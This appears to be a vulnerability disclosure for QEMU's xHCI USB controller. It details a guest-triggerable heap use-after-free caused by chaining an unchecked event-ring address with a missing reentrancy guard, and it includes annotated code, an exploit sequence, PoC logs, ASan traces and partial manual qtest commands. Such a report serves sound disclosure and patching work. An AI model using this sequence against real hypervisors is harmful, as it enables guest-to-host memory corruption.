hcd-xhci: heap-use-after-free via re-entrant event-ring DMA into doorbell MMIO
## Summary
I used AI for component enumeration, issue listing, and code audit. After manual verification and execution flow trace, I used AI to build PoCs. With these PoCs, I can trigger a host-side AddressSanitizer use-after-free in current QEMU master (af06b5df26) through the xHCI event-ring configuration path in `nec-usb-xhci` and `qemu-xhci`. The UAF requires a combo of two independent bugs.
The guest fully controls the event-ring segment descriptor written via ERSTBA. `xhci_er_reset` reads the segment's address and size from guest memory, and it only checks the size (16–4096 TRBs). The address itself is never validated against guest RAM, even though the device's own DMA address space also covers its own PCI MMIO BAR. A guest can therefore point the event ring's `er_start` directly at its own doorbell register range instead of RAM.
When the controller later DMA-writes a completion event to that address, the write re-dispatches into the doorbell MMIO handler and can ring doorbell 0, which in turn runs `xhci_process_commands` on the guest's command ring from inside what should be a leaf DMA write. QEMU's MemReentrancyGuard exists to block this kind of re-entrant device I/O, but it is only triggered on the direct-MMIO dispatch path. The event write here comes from a QEMUTimer callback. This means that the endpoint kick timer used to defer interrupt/isochronous transfer completion never set `engaged_in_io`. The reentrant doorbell write is therefore never blocked on this path, even though the identical chain driven from a plain guest doorbell write is correctly blocked.
By chaining these two bugs, a guest can stage a CR_DISABLE_SLOT command on its command ring, arm an interrupt-IN transfer on an endpoint so its completion is deferred onto the kick timer, then repoints the event ring at the doorbell BAR offset before the timer fires. When the timer runs and reports the deferred transfer's completion, the resulting event write reenters and runs the staged CR_DISABLE_SLOT command, which frees the very transfer object that the interrupted, outer completion-reporting call is still holding a pointer to. The outer call then continues to read and write through the dangling pointers.
A guest using `nec-usb-xhci` / `qemu-xhci` can point its interrupter's event-ring segment at BAR + 0x2000 (the doorbell register block) with a CR_DISABLE_SLOT command already staged, arm an interrupt-IN transfer that defers onto the endpoint kick timer, and let the timer fire; the reentrant free-then-use crashes under ASan as a heap-use-after-free (read of size4) in the transfer-completion reporting path, xhci_xfer_report (hcd-xhci.c:1562). The still-executing outer xhci_kick_epctx frame additionally performs a read-modify-write on the freed endpoint context (epctx-\>kick_active--, line 2032), providing a UAF write primitive on the freed XHCIEPContext chunk.
Reported By: Ken Hsu and Royce Lu of Palo Alto Networks
## Environment
Reproduced on current master:
- QEMU commit: `af06b5df2610fe5de6c02d17c17bced9e9f0d47d`
- QEMU version string: `QEMU emulator version 11.1.50 (v11.1.0-217-gaf06b5df26-dirty)`
- target: `x86_64-softmmu`
- machine used by reproducer: `q35`
- device: `nec-usb-xhci, qemu-xhci`
- trigger interface: `qtest + QMP (no display backend — headless, -display none)`
- ASan build: `CC=clang CXX=clang++ ../configure --target-list=x86_64-softmmu --enable-asan --enable-ubsan --disable-werror`
## Root Cause Analysis
Affected devices: `nec-usb-xhci` and `qemu-xhci`.
Both share the same hcd-xhci.c backend - the vulnerable code paths are identical.
UAF confirmed on both devices (same crash site: hcd-xhci.c:1562, same free chain).
As mentioned above, there are 2 bugs that constitute UAF.
### Bug 1: Missing Addr Check (xhci_er_reset in hw/usb/hcd-xhci.c, line 829–834)
```
static void xhci_er_reset(..)
{
...
...
// size check
if (seg.size < 16 || seg.size > 4096) {
DPRINTF("xhci: invalid value for segment size: %d\n", seg.size);
xhci_die(xhci);
return;
}
// no addr check
// Guest set the addr to 0xFEB02000 (doorbell region), so er_start will be doorbell BAR
intr->er_start = xhci_addr64(seg.addr_low, seg.addr_high);
intr->er_size = seg.size;
...
...
}
```
### Bug 2: Lack of Reentrancy Guard (xhci_ep_kick_timer in hw/usb/hcd-xhci.c, line 1086)
```
static void xhci_ep_kick_timer(void *opaque)
{
XHCIEPContext *epctx = opaque;
// Normal MMIO write handlers set engaged_in_io=true.
// Timer callbacks bypass the MMIO dispatch path entirely, so engaged_in_io=false here.
// Any dma_memory_write() issued from this call can re-enter MMIO handlers unblocked.
xhci_kick_epctx(epctx, 0);
}
```
### Bug 1 + Bug 2: Unexpected Reentrant Free
This is the exec flow after triggering bug 1 and bug 2: `xhci_kick_epctx()` -\> ... -\> `xhci_fire_transfer()` -\> `xhci_try_complete_packet()` -\> `xhci_xfer_report()` -\> `xhci_event()` -\> `xhci_write_event()`
```
static void xhci_write_event(...)
{
...
...
// addr is 0xFEB02000 (doorbell BAR) because of bug #1
addr = intr->er_start + TRB_SIZE * intr->er_ep_idx;
// this dma write goes through because of bug #2
if (dma_memory_write(xhci->as, addr, &ev_trb, TRB_SIZE,
MEMTXATTRS_UNSPECIFIED) != MEMTX_OK) {
...
...
}
...
...
}
```
The `dma_memory_write()` eventually leads to `g_free(xfer)` and `g_free(epctx)`. Here's the sequence: `dma_memory_write()` -\> `xhci_doorbell_write()` -\> `xhci_process_commands()` -\> `xhci_disable_slot()` -\> `xhci_disable_ep()` -\> `xhci_ep_nuke_xfers()`.
- `xhci_ep_nuke_xfers()` -\>`g_free(xfer)`
- `xhci_disable_ep()` -\> `g_free(epctx)`
### UAF - Read #1
```
static void xhci_xfer_report(...)
{
...
...
xhci_event(xhci, &event, TRB_INTR(*trb));
reported = 1;
// xfer is a dangling pointer - freed inside `xhci_ep_nuke_xfers()`, which is triggered by the DMA write above
if (xfer->status != CC_SUCCESS) {
return;
}
...
}
```
### UAF - Read #2 and Write
```
static void xhci_kick_epctx(...)
{
...
...
// At this point, epctx is freed, so here's another UAF read
if (!xhci_slot_ok(xhci, epctx->slotid)) {
/* surprise removal -> stop processing */
break;
}
// xfer already freed by reentrant xhci_ep_nuke_xfers — UAF read
if (xfer->complete) {
xhci_set_ep_state(xhci, epctx, stctx, epctx->state);
xhci_ep_free_xfer(xfer); // potential double-free - xfer already freed by reentrant xhci_ep_nuke_xfers above
xfer = NULL;
}
...
...
// UAF write (unconditional)
epctx->kick_active--;
}
```
After setting the heap and planting the payload, one can trigger bug #1 and bug#2 above, causing UAF. The following sequence was confirmed on both nec-usb-xhci and qemu-xhci.
1. Sends CR_ENABLE_SLOT TRB, CR_ADDRESS_DEVICE TRB, and CR_CONFIGURE_ENDPOINT TRB to set the dequeue pointer at CMD_RING + 48.
2. Send the payload (CR_DISABLE_SLOT TRB) at CMD_RING+48
3. Switch ERSTBA to point at ERST_EVIL (er_start = BAR+0x2000). This arms Bug #1.
4. Kick EP3 doorbell (DB\[1\]=3). This kicks off the timer, Bug #2 path engaged
5. Inject mouse event via QMP
6. Fire timer and trigger UAF
## Steps to Reproduce
1. Do QEMU ASan build:
```
cd ~/targets/qemu &&
mkdir -p build-asan &&
cd build-asan &&
CC=clang CXX=clang++ ../configure --enable-asan --enable-ubsan --disable-werror --target-list=x86_64-softmmu
ninja qemu-system-x86_64
```
2. Run the attached PoCs or Test Manually
3. Observe crash (i.e ASan output `heap-use-after-free READ of size 4 in xhci_xfer_report at hcd-xhci.c:1562`)
I have checked a few other security bugs, and it seems like PoC using qtest should suffice, so I am using qtest to trigger the UAF from outside the guest.
The same sequence is reproducible from inside a Linux guest via a kernel module: unbind the xhci-hcd driver (device_release_driver()), ioremap the xHCI BAR, and issue the same MMIO register sequence. No host-side action is required -guest root is sufficient.
### Run PoC - nec-usb-xhci
```
$ python3 poc/xhci_dma_mmio_uaf_2.py ~/targets/qemu/build-asan-0815/qemu-system-x86_64
[*] Launching QEMU
~/targets/qemu/build-asan-0815/qemu-system-x86_64 -machine q35 -accel qtest -m 128M -nodefaults -device nec-usb-xhci,id=xhci0 -device usb-tablet,bus=xhci0.0 -qtest unix:/tmp/xhci-uaf-qtest.sock -qmp
unix:/tmp/xhci-uaf-qmp.sock,server,nowait -qtest-log /dev/null -display none
[*] QTest connected
[*] nec-usb-xhci at PCI 00:01.0 (VID=0x1033 DID=0x0194)
[*] BAR0 = 0xfeb00000 PCI CMD = 0x0006
[*] Guest RAM written (DCBA=0x04000000 XFER=0x04004000 EVT=0x04005000)
[*] xHCI started (USBCMD=RS|INTE, event ring → EVT_RING)
[*] ENABLE_SLOT: CC_SUCCESS (slot=1)
[*] ADDRESS_DEVICE: CC_SUCCESS (slot=1)
[*] CONFIGURE_ENDPOINT: CC_SUCCESS (slot=1)
[*] usb-tablet on slot 1, EP3 (INTR_IN, xfer ring=0x04004000)
[*] CR_DISABLE_SLOT bomb at CMD_RING+48 (ctrl=0x01002801)
[*] ERST_EVIL: addr=0xfeb02000 size=16
[*] Event ring switched to evil ERST (er_start=0xfeb02000, er_ep_idx=0)
[*] ERDP0 updated to 0xfeb02000
[*] EP3_IN kicked (kick timer armed at T+125 µs, epctx->retry set)
[*] Connecting QMP and injecting mouse move...
QMP handshake OK (QEMU 11.1.50)
Mouse event injected: {'return': {}}
[*] clock_step(200 µs) — kick timer fires...
[+] QEMU exited (code 1) — heap-use-after-free triggered!
─── QEMU stderr (ASan output) ────────────────────────────────────────
==625616==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases!
qemu-system-x86_64: warning: Blocked re-entrant IO on MemoryRegion: doorbell at addr: 0x0
=================================================================
==625616==ERROR: AddressSanitizer: heap-use-after-free on address 0x51100008f1d8 at pc 0x55fd971bc5b0 bp 0x7fff2b264c90 sp 0x7fff2b264c88
READ of size 4 at 0x51100008f1d8 thread T0
#0 0x55fd971bc5af in xhci_xfer_report ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1562:23
#1 0x55fd971aed36 in xhci_kick_epctx ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c
#2 0x55fd9828b55d in timerlist_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:593:9
#3 0x55fd9828c7e7 in qemu_clock_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:607:12
#4 0x55fd9828c7e7 in qemu_clock_advance_virtual_time ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:713:9
#5 0x55fd975338fb in qtest_process_command ~/targets/qemu/build-asan-0815/../system/qtest.c:726:18
#6 0x55fd9752f81d in qtest_process_inbuf ~/targets/qemu/build-asan-0815/../system/qtest.c:821:9
#7 0x55fd97fa5f97 in tcp_chr_read ~/targets/qemu/build-asan-0815/../chardev/char-socket.c:511:13
#8 0x7fc529ae13c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#9 0x7fc529ae3cb7 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5ecb7) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#10 0x55fd98275973 in glib_pollfds_poll ~/targets/qemu/build-asan-0815/../util/main-loop.c:292:9
#11 0x55fd98275973 in os_host_main_loop_wait ~/targets/qemu/build-asan-0815/../util/main-loop.c:315:5
#12 0x55fd98275973 in main_loop_wait ~/targets/qemu/build-asan-0815/../util/main-loop.c:594:11
#13 0x55fd9753d8e6 in qemu_main_loop ~/targets/qemu/build-asan-0815/../system/runstate.c:950:9
#14 0x55fd98021530 in qemu_default_main ~/targets/qemu/build-asan-0815/../system/main.c:50:14
#15 0x55fd98021501 in main ~/targets/qemu/build-asan-0815/../system/main.c:93:9
#16 0x7fc52917aca7 (/lib/x86_64-linux-gnu/libc.so.6+0x29ca7) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#17 0x7fc52917ad64 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29d64) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#18 0x55fd962a8ca0 in _start (~/targets/qemu/build-asan-0815/qemu-system-x86_64+0x1977ca0) (BuildId: 5e1afde18ac74215fd99dc2c458c6bc7f5104e03)
0x51100008f1d8 is located 216 bytes inside of 256-byte region [0x51100008f100,0x51100008f200)
freed by thread T0 here:
#0 0x55fd9634883a in free (~/targets/qemu/build-asan-0815/qemu-system-x86_64+0x1a1783a) (BuildId: 5e1afde18ac74215fd99dc2c458c6bc7f5104e03)
#1 0x55fd971c5c17 in xhci_ep_nuke_xfers ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1263:9
#2 0x55fd971d1e62 in xhci_disable_ep ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1290:5
#3 0x55fd971d1837 in xhci_disable_slot ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:2060:13
#4 0x55fd971ccdcd in xhci_process_commands ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:2514:31
#5 0x55fd974d3f21 in memory_region_write_accessor ~/targets/qemu/build-asan-0815/../system/memory.c:492:5
#6 0x55fd974d38c0 in access_with_adjusted_size ~/targets/qemu/build-asan-0815/../system/memory.c:568:18
#7 0x55fd974d2b8a in memory_region_dispatch_write ~/targets/qemu/build-asan-0815/../system/memory.c
#8 0x55fd9752765c in flatview_write_continue_step ~/targets/qemu/build-asan-0815/../system/physmem.c:3305:18
#9 0x55fd97518eb6 in flatview_write_continue ~/targets/qemu/build-asan-0815/../system/physmem.c:3335:19
#10 0x55fd97518eb6 in flatview_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3366:12
#11 0x55fd97518c41 in address_space_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3486:18
#12 0x55fd971bdc8d in dma_memory_rw_relaxed ~/targets/qemu/build-asan-0815/../include/system/dma.h:87:12
#13 0x55fd971bdc8d in dma_memory_rw ~/targets/qemu/build-asan-0815/../include/system/dma.h:130:12
#14 0x55fd971bdc8d in dma_memory_write ~/targets/qemu/build-asan-0815/../include/system/dma.h:171:12
#15 0x55fd971bdc8d in xhci_write_event ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:625:9
#16 0x55fd971b9324 in xhci_event ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:676:9
#17 0x55fd971bb8e1 in xhci_xfer_report ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1560:13
#18 0x55fd971aed36 in xhci_kick_epctx ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c
#19 0x55fd9828b55d in timerlist_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:593:9
#20 0x55fd9828c7e7 in qemu_clock_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:607:12
#21 0x55fd9828c7e7 in qemu_clock_advance_virtual_time ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:713:9
#22 0x55fd975338fb in qtest_process_command ~/targets/qemu/build-asan-0815/../system/qtest.c:726:18
#23 0x55fd9752f81d in qtest_process_inbuf ~/targets/qemu/build-asan-0815/../system/qtest.c:821:9
#24 0x55fd97fa5f97 in tcp_chr_read ~/targets/qemu/build-asan-0815/../chardev/char-socket.c:511:13
#25 0x7fc529ae13c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
previously allocated by thread T0 here:
#0 0x55fd96348cbd in calloc (~/targets/qemu/build-asan-0815/qemu-system-x86_64+0x1a17cbd) (BuildId: 5e1afde18ac74215fd99dc2c458c6bc7f5104e03)
#1 0x7fc529aea799 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x65799) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#2 0x55fd974d3f21 in memory_region_write_accessor ~/targets/qemu/build-asan-0815/../system/memory.c:492:5
#3 0x55fd974d38c0 in access_with_adjusted_size ~/targets/qemu/build-asan-0815/../system/memory.c:568:18
#4 0x55fd974d2b8a in memory_region_dispatch_write ~/targets/qemu/build-asan-0815/../system/memory.c
#5 0x55fd9752765c in flatview_write_continue_step ~/targets/qemu/build-asan-0815/../system/physmem.c:3305:18
#6 0x55fd97518eb6 in flatview_write_continue ~/targets/qemu/build-asan-0815/../system/physmem.c:3335:19
#7 0x55fd97518eb6 in flatview_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3366:12
#8 0x55fd97518c41 in address_space_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3486:18
#9 0x55fd975315e1 in qtest_process_command ~/targets/qemu/build-asan-0815/../system/qtest.c:532:13
#10 0x55fd9752f81d in qtest_process_inbuf ~/targets/qemu/build-asan-0815/../system/qtest.c:821:9
#11 0x55fd97fa5f97 in tcp_chr_read ~/targets/qemu/build-asan-0815/../chardev/char-socket.c:511:13
#12 0x7fc529ae13c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
SUMMARY: AddressSanitizer: heap-use-after-free ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1562:23 in xhci_xfer_report
Shadow bytes around the buggy address:
0x51100008ef00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008ef80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x51100008f000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008f080: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x51100008f100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x51100008f180: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
0x51100008f200: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x51100008f280: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008f300: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x51100008f380: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008f400: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==625616==ABORTING
```
### Run PoC - qemu-xhci
```
$ python3 poc/xhci_dma_mmio_uaf_2_qemuxhci.py ~/targets/qemu/build-asan-0815/qemu-system-x86_64
[*] Launching QEMU
~/targets/qemu/build-asan-0815/qemu-system-x86_64 -machine q35 -accel qtest -m 128M -nodefaults -device qemu-xhci,id=xhci0 -device usb-tablet,bus=xhci0.0 -qtest unix:/tmp/xhci-uaf-qtest.sock -qmp unix:/tmp/xhci-uaf-qmp.sock,server,nowait
-qtest-log /dev/null -display none
[*] QTest connected
[*] qemu-xhci at PCI 00:01.0 (VID=0x1b36 DID=0x000d)
[*] BAR0 = 0xfeb00000 PCI CMD = 0x0006
[*] Guest RAM written (DCBA=0x04000000 XFER=0x04004000 EVT=0x04005000)
[*] xHCI started (USBCMD=RS|INTE, event ring → EVT_RING)
[*] ENABLE_SLOT: CC_SUCCESS (slot=1)
[*] ADDRESS_DEVICE: CC_SUCCESS (slot=1)
[*] CONFIGURE_ENDPOINT: CC_SUCCESS (slot=1)
[*] usb-tablet on slot 1, EP3 (INTR_IN, xfer ring=0x04004000)
[*] CR_DISABLE_SLOT bomb at CMD_RING+48 (ctrl=0x01002801)
[*] ERST_EVIL: addr=0xfeb02000 size=16
[*] Event ring switched to evil ERST (er_start=0xfeb02000, er_ep_idx=0)
[*] ERDP0 updated to 0xfeb02000
[*] EP3_IN kicked (kick timer armed at T+125 µs, epctx->retry set)
[*] Connecting QMP and injecting mouse move...
QMP handshake OK (QEMU 11.1.50)
Mouse event injected: {'return': {}}
[*] clock_step(200 µs) — kick timer fires...
[+] QEMU exited (code 1) — heap-use-after-free triggered!
─── QEMU stderr (ASan output) ────────────────────────────────────────
==626534==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases!
qemu-system-x86_64: warning: Blocked re-entrant IO on MemoryRegion: doorbell at addr: 0x0
=================================================================
==626534==ERROR: AddressSanitizer: heap-use-after-free on address 0x51100008ef58 at pc 0x555ba677b5b0 bp 0x7ffceb2aa050 sp 0x7ffceb2aa048
READ of size 4 at 0x51100008ef58 thread T0
#0 0x555ba677b5af in xhci_xfer_report ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1562:23
#1 0x555ba676dd36 in xhci_kick_epctx ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c
#2 0x555ba784a55d in timerlist_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:593:9
#3 0x555ba784b7e7 in qemu_clock_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:607:12
#4 0x555ba784b7e7 in qemu_clock_advance_virtual_time ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:713:9
#5 0x555ba6af28fb in qtest_process_command ~/targets/qemu/build-asan-0815/../system/qtest.c:726:18
#6 0x555ba6aee81d in qtest_process_inbuf ~/targets/qemu/build-asan-0815/../system/qtest.c:821:9
#7 0x555ba7564f97 in tcp_chr_read ~/targets/qemu/build-asan-0815/../chardev/char-socket.c:511:13
#8 0x7f70181783c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#9 0x7f701817acb7 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5ecb7) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#10 0x555ba7834973 in glib_pollfds_poll ~/targets/qemu/build-asan-0815/../util/main-loop.c:292:9
#11 0x555ba7834973 in os_host_main_loop_wait ~/targets/qemu/build-asan-0815/../util/main-loop.c:315:5
#12 0x555ba7834973 in main_loop_wait ~/targets/qemu/build-asan-0815/../util/main-loop.c:594:11
#13 0x555ba6afc8e6 in qemu_main_loop ~/targets/qemu/build-asan-0815/../system/runstate.c:950:9
#14 0x555ba75e0530 in qemu_default_main ~/targets/qemu/build-asan-0815/../system/main.c:50:14
#15 0x555ba75e0501 in main ~/targets/qemu/build-asan-0815/../system/main.c:93:9
#16 0x7f70177f6ca7 (/lib/x86_64-linux-gnu/libc.so.6+0x29ca7) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#17 0x7f70177f6d64 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29d64) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#18 0x555ba5867ca0 in _start (~/targets/qemu/build-asan-0815/qemu-system-x86_64+0x1977ca0) (BuildId: 5e1afde18ac74215fd99dc2c458c6bc7f5104e03)
0x51100008ef58 is located 216 bytes inside of 256-byte region [0x51100008ee80,0x51100008ef80)
freed by thread T0 here:
#0 0x555ba590783a in free (~/targets/qemu/build-asan-0815/qemu-system-x86_64+0x1a1783a) (BuildId: 5e1afde18ac74215fd99dc2c458c6bc7f5104e03)
#1 0x555ba6784c17 in xhci_ep_nuke_xfers ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1263:9
#2 0x555ba6790e62 in xhci_disable_ep ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1290:5
#3 0x555ba6790837 in xhci_disable_slot ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:2060:13
#4 0x555ba678bdcd in xhci_process_commands ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:2514:31
#5 0x555ba6a92f21 in memory_region_write_accessor ~/targets/qemu/build-asan-0815/../system/memory.c:492:5
#6 0x555ba6a928c0 in access_with_adjusted_size ~/targets/qemu/build-asan-0815/../system/memory.c:568:18
#7 0x555ba6a91b8a in memory_region_dispatch_write ~/targets/qemu/build-asan-0815/../system/memory.c
#8 0x555ba6ae665c in flatview_write_continue_step ~/targets/qemu/build-asan-0815/../system/physmem.c:3305:18
#9 0x555ba6ad7eb6 in flatview_write_continue ~/targets/qemu/build-asan-0815/../system/physmem.c:3335:19
#10 0x555ba6ad7eb6 in flatview_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3366:12
#11 0x555ba6ad7c41 in address_space_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3486:18
#12 0x555ba677cc8d in dma_memory_rw_relaxed ~/targets/qemu/include/system/dma.h:87:12
#13 0x555ba677cc8d in dma_memory_rw ~/targets/qemu/include/system/dma.h:130:12
#14 0x555ba677cc8d in dma_memory_write ~/targets/qemu/include/system/dma.h:171:12
#15 0x555ba677cc8d in xhci_write_event ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:625:9
#16 0x555ba6778324 in xhci_event ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:676:9
#17 0x555ba677a8e1 in xhci_xfer_report ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1560:13
#18 0x555ba676dd36 in xhci_kick_epctx ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c
#19 0x555ba784a55d in timerlist_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:593:9
#20 0x555ba784b7e7 in qemu_clock_run_timers ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:607:12
#21 0x555ba784b7e7 in qemu_clock_advance_virtual_time ~/targets/qemu/build-asan-0815/../util/qemu-timer.c:713:9
#22 0x555ba6af28fb in qtest_process_command ~/targets/qemu/build-asan-0815/../system/qtest.c:726:18
#23 0x555ba6aee81d in qtest_process_inbuf ~/targets/qemu/build-asan-0815/../system/qtest.c:821:9
#24 0x555ba7564f97 in tcp_chr_read ~/targets/qemu/build-asan-0815/../chardev/char-socket.c:511:13
#25 0x7f70181783c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
previously allocated by thread T0 here:
#0 0x555ba5907cbd in calloc (~/targets/qemu/build-asan-0815/qemu-system-x86_64+0x1a17cbd) (BuildId: 5e1afde18ac74215fd99dc2c458c6bc7f5104e03)
#1 0x7f7018181799 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x65799) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
#2 0x555ba6a92f21 in memory_region_write_accessor ~/targets/qemu/build-asan-0815/../system/memory.c:492:5
#3 0x555ba6a928c0 in access_with_adjusted_size ~/targets/qemu/build-asan-0815/../system/memory.c:568:18
#4 0x555ba6a91b8a in memory_region_dispatch_write ~/targets/qemu/build-asan-0815/../system/memory.c
#5 0x555ba6ae665c in flatview_write_continue_step ~/targets/qemu/build-asan-0815/../system/physmem.c:3305:18
#6 0x555ba6ad7eb6 in flatview_write_continue ~/targets/qemu/build-asan-0815/../system/physmem.c:3335:19
#7 0x555ba6ad7eb6 in flatview_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3366:12
#8 0x555ba6ad7c41 in address_space_write ~/targets/qemu/build-asan-0815/../system/physmem.c:3486:18
#9 0x555ba6af05e1 in qtest_process_command ~/targets/qemu/build-asan-0815/../system/qtest.c:532:13
#10 0x555ba6aee81d in qtest_process_inbuf ~/targets/qemu/build-asan-0815/../system/qtest.c:821:9
#11 0x555ba7564f97 in tcp_chr_read ~/targets/qemu/build-asan-0815/../chardev/char-socket.c:511:13
#12 0x7f70181783c4 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5c3c4) (BuildId: 5a58e82dc26f34f0026f31e03527051f3520a3df)
SUMMARY: AddressSanitizer: heap-use-after-free ~/targets/qemu/build-asan-0815/../hw/usb/hcd-xhci.c:1562:23 in xhci_xfer_report
Shadow bytes around the buggy address:
0x51100008ec80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008ed00: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x51100008ed80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008ee00: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x51100008ee80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x51100008ef00: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
0x51100008ef80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x51100008ef00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008ef80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x51100008f000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008f080: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x51100008f100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x51100008f180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==626534==ABORTING
```
### Test Manually (In Sequential Order)
#### Terminal 1 - Start QEMU
```
$ ~/targets/qemu/build-asan/qemu-system-x86_64 \
-machine q35 -accel qtest -m 128M -nodefaults \
-device nec-usb-xhci,id=xhci0 \
-device usb-tablet,bus=xhci0.0 \
-qtest unix:/tmp/xhci-qtest.sock,server,nowait \
-qmp unix:/tmp/xhci-qmp.sock,server,nowait \
-qtest-log /dev/null -display none
```
#### Terminal 2 - Send Qtest Commands to Arm Bug 1 and 2
```
$ socat - UNIX-CONNECT:/tmp/xhci-qtest.sock
outl 0xcf8 0x80000810
OK
outl 0xcfc 0xfeb00000
OK
outl 0xcf8 0x80000814
OK
outl 0xcfc 0x00000000
OK
outl 0xcf8 0x80000804
OK
outl 0xcfc 0x00000006
OK
